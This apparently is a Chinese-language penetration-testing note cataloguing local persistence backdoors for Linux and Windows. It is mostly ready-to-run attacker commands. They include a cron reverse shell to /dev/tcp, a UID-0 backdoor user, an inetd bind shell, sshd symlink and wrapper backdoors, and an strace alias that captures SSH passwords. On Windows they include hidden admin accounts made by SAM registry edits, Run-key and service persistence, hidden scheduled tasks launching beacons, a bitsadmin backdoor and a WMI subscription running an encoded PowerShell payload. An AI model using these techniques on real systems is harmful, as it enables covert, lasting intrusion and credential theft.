win\&linux本地权限维持
目录
LINUX
cron
创建个文件(假设为/a/b),里面的核心内容是弹个shell回来 (最好在文件前加上#!/bin/bash)
然后chmod +xs /a/b
然后修改/etc/crontab,这里是每分钟执行一次
*/1 * * * * root /a/b
当然,也可以无文件落地。 但是需要修改一个地方 vim /etc/crontab 将SEHLL改为/bin/bash
然后写入 bash -i >& /dev/tcp/xxx/xxx 0>&1
隐藏文件
创建.xxx文件即为隐藏文件,ls是看不到的,只有通过ls -al才能看到
网上还看到一个创建文件名字为...的方法,不知道实用性如何
创建恶意管理员用户
useradd -o -u 0 backdoor 然后为其设置个密码以便ssh登录,登上去就是root
时间戳修改
后门的时间戳需要改改,不然太容易被看出来,别人一个ls -al就看破了
touch -r index.php webshell.php 将index.php的时间赋予webshell.php
touch -t 1401021042.30 webshell.php 2014年1月2日10点42分30秒赋予webshell.php
inetd
需要inetd被安装
apt-get install openbsd-inetd
修改文件/etc/inetd.conf
然后重启inetd
ps -ef | grep inetd
root 1928 1470 0 14:20 pts/0 00:00:00 grep inetd
kill 1928
然后另一台主机 nc -vv ip 13(默认端口13) 即可获得以下场景
默认端口改法:
修改/etc/services文件,加入以下的东西
test 6666/tcp
然后修改/etc/inetd.conf ,在daytime附近
test stream tcp nowait root /bin/bash bash -i
快速获取ssh链接(软连接后门)
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337; 受害机上执行
然后我们
ssh root@xxx.x.x.xx -p 31337
随便输个密码就进去了
Wrapper后门
cd /usr/sbin
mv sshd ../bin
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
//不用重启也行
/etc/init.d/sshd restart
kali下的执行
##!bash
socat STDIO TCP4:192.168.206.142:22,sourceport=13377
即可开始控制
源端口修改
##!python
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A
没有链接的情况下是无法看到进程的,last也看不到登录,很隐蔽
SSH keylogger
vim当前用户的.bashrc文件 \~/.bashrc,末尾添加
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
然后执行命令 source .bashrc,使配置生效。
随后当本地su或者ssh时,操作记录就会被记录到/tmp目录下。
WINDOWS
影子用户
\$ 符号
net user ddd$ /add
net localgroup administrators ddd$ /add
这样的话,net user命令就看不到这个用户了 但是其他如注册表,用户管理界面和登陆界面都会发现此用户,所以说隐蔽性不高。
修改注册表
我们要对HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\User 进行一些修改,但是默认这有SYSTEM可以修改SAM。所以我们需要修改一下相关权限:看图说话
在names中找到隐藏用户对应的值,然后去上层比对。
可以发现隐藏用户的值为3f0。接下来我们把1f4(管理员表项)的F值复制到3f0中。
复制后,将3f0和匿名用户的表项右键导出。 然后把我们的匿名用户删除
然后双击两个导出的表项.
这样的话,我们这个匿名用户就只有在注册表可见了。
启动项
开始菜单启动项
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
有些时候这个文件夹会改变,可以通过以下注册表键值来确定
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
把应用程序的快捷方式放进去有效,但是直接放应用程序进去就会失效。
启动项注册表后门
HKEY_LOCAL_MACHINE\SOFTWARE\Microft\windows\currentversion\run
命令
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\test.bat" /f
服务
服务后门往往拥有SYSTEM权限
将exe木马添加到自启动服务中
sc create "GoogleUpdated" binpath= "C:\Users\Administrator\Desktop\test.exe"
sc description "GoogleUpdated" "description" 设置服务的描述字符串
sc config "GoogleUpdated" start= auto 设置这个服务为自动启动
net start "GoogleUpdated" 启动服务
如果直接用普通后门来做服务后门,那么就会出问题: windows下的服务启动后若未在一定时间内与服务中心通信则会被终止。
但是CS可以直接生成服务马。
计划任务
schtasks /create /sc minute /mo 5 /tn "chrome" /tr c:\test.bat
schtasks /create /sc minute /mo 1 /tn "chrome" /tr wscript.exe C:\Users\AppData\Local\Temp\13442980_crypted.vbs
schtasks /create /tn foo1 /tr C:\Windows\apppatch\windows.exe /sc once /st 05:25 /S 18.217.*.* /RU System
schtasks /create /s 192.168.1.2 /u administrator /p Passw0rd! /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\wmpub\add.bat/F
schtasks /create /s 192.168.1.2 /u administrator/p Passw0rd! /ru "SYSTEM" /tn adduser /sc DAILY /tr \\192.168.1.2\c$\windows\beacon.exe
schtasks /run /s 192.168.1.2 /u administrator /pPassw0rd! /tn adduser /i
/s指定远程机器名或ip地址,/ru指定运行任务的用户权限,这里指定为最高的SYSTEM,/tn是任务名称,/sc是任务运行频率,这里指定为每天运行,并没什么实际意义,/tr指定运行的文件,/F表示如果指定的任务已经存在,则强制创建任务并抑制警告。/i表示立即运行
隐藏
修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\test中任务对应的index值(默认3),修改为0。无法修改时需要更改权限,将所有者改为administrators,并赋予所有权限。 赋予为0后无法直接查看任务。 这样schtasks和任务查看器均不能看见此任务。 此外win10还可以删除C:\Windows\System32\Tasks 下对应任务名的文件,以便达到更好的隐藏目的。(win10以外版本 删除此文件会导致任务无法运行) 但这种隐藏方式可以用命令 schtasks /query /tn 任务名来查看(任务名可以通过注册表查看)。
为了避免被这样排查出来,在win10下可以删除C:\Windows\System32\Tasks 下对应文件并删除HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\test中SD值
Logon Scripts
Logon Scripts优先于 av 先执行,我们可以利用这一点来绕过 av 的敏感操作拦截
在HKEY_CURRENT_USER\Environment表项创建一个值为 UserInitMprLogonScript ,值为我们要启动的程序路径。
用户重新登陆后后门被启动。
WIN7可行
组策略后门
开始->运行->键入"gpedit.msc"->本地组策略编辑器->window设置(system)->脚本->启动->属性
点击显示文件:
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
把我们的后门程序复制到这个路径,然后这个脚本开机就会自动加载执行了。
win7下复现失败。反正有这个玩意,我看别人拿2003复现成功了,容易被查杀。
当然也可以在域控机器上通过组策略下发此脚本来使域中人员登陆时上线。不过这不在本文讨论范畴之内了。
启用GUEST
Guest用户本身就存在于计算机中,但是一般默认禁止,且不可登录,我们可以通过命令激活Guest用户并赋予管 理员权限,并允许远程桌面登录。
net user Guest /active:yes
net user Guest guest@123456
net localgroup Administrators Guest /ADD
gpedit.msc->计算机配置->windows设置->安全设置->本地策略->用户权限分配->允许通过远程桌面服务登录 添加Guest
BITSADMIN后门
bitsadmin指令一般是用于下载文件的,但它也可以用于持久化。
bitsadmin的SetNotifyCmdLine参数意是用于下载文件后紧随其后调用一个命令,但是这个参数被黑客利用后就成了一个很不错的后门。
bitsadmin /create backdoor 创建一个bitsadmin任务backdoor
bitsadmin /addfile backdoor http://a.com/a.exe c:\temp\a.exe 添加一个任务列表,将远程(本地)的一个文件下载到本地
bitsadmin /SetNotifyCmdLine backdoor c:\users\hacker\evil.exe nul 倒数第二个参数是要打开的应用程式,倒数第一个参数是打开文件时附加的参数
bitsadmin /SetMinRetryDelay "backdoor" 60 每60秒重试任务
bitsadmin /resume backdoor 调用指定任务
我们执行完以上指令后,会马上命令执行一次(SetNotifyCmdLine中指定的cmd命令,这里我们就是仅仅执行了我们的恶意EXE)。
重启后发现任务依然存在
按理说每隔一段时间我的马就会被执行一次,但实际上并没有,不知道为何。
WMI
使用WMI存储信息
你可以用WMI来存储你的shellcode,恶意文件路径等,这种存储方式相对来说比较隐蔽
$StaticClass = New-Object Management.ManagementClass('root\cimv2',$null,$null) #新建wmi类
$StaticClass.Name = "a" #设置wmi类名
$StaticClass.Properties.Add('key',"shellcode") #设置wmi属性键值
$StaticClass.put() #提交以上更改
##访问信息
([WmiClass] 'a').Properties['key'].Value
过滤器+处理器
这个后门是这么实现的
1.设定一个事件过滤器,用于监听事件如开机,启动某应用等等 2.设定一个事件处理器,用于设置监听到某事件发生后所采取的行动 3.将过滤器和处理器绑定在一起
$$EncodedPayload=""
## 构造 WMI永久事件订阅(permanent event subscriptions)
$filterName='EvilFilter'
$consumerName='EvilConsumer'
## 1. 创建一个 事件过滤器__EventFilter,用于设定触发条件,每隔60s执行一次
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
## or $Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320"
## 事件筛选器在系统启动后的 200 和 320 秒之间被当作一个触发器。在事件被触发时事件消费者会使用 CommandLineEventConsumer 执行已指定好的可执行文件。
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
## 2. 创建一个 事件消费者 CommandLineEventConsumer ,用于设定执行的操作
$Arg =@{Name=$consumerName;CommandLineTemplate="C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive -enc $EncodedPayload"}
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments $Arg
## 3. 绑定filter和consumer
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
文件隐藏
attrib +s +h ./a
+s:设置为系统文件,更具有迷惑性,且权限较高
+h:隐藏文件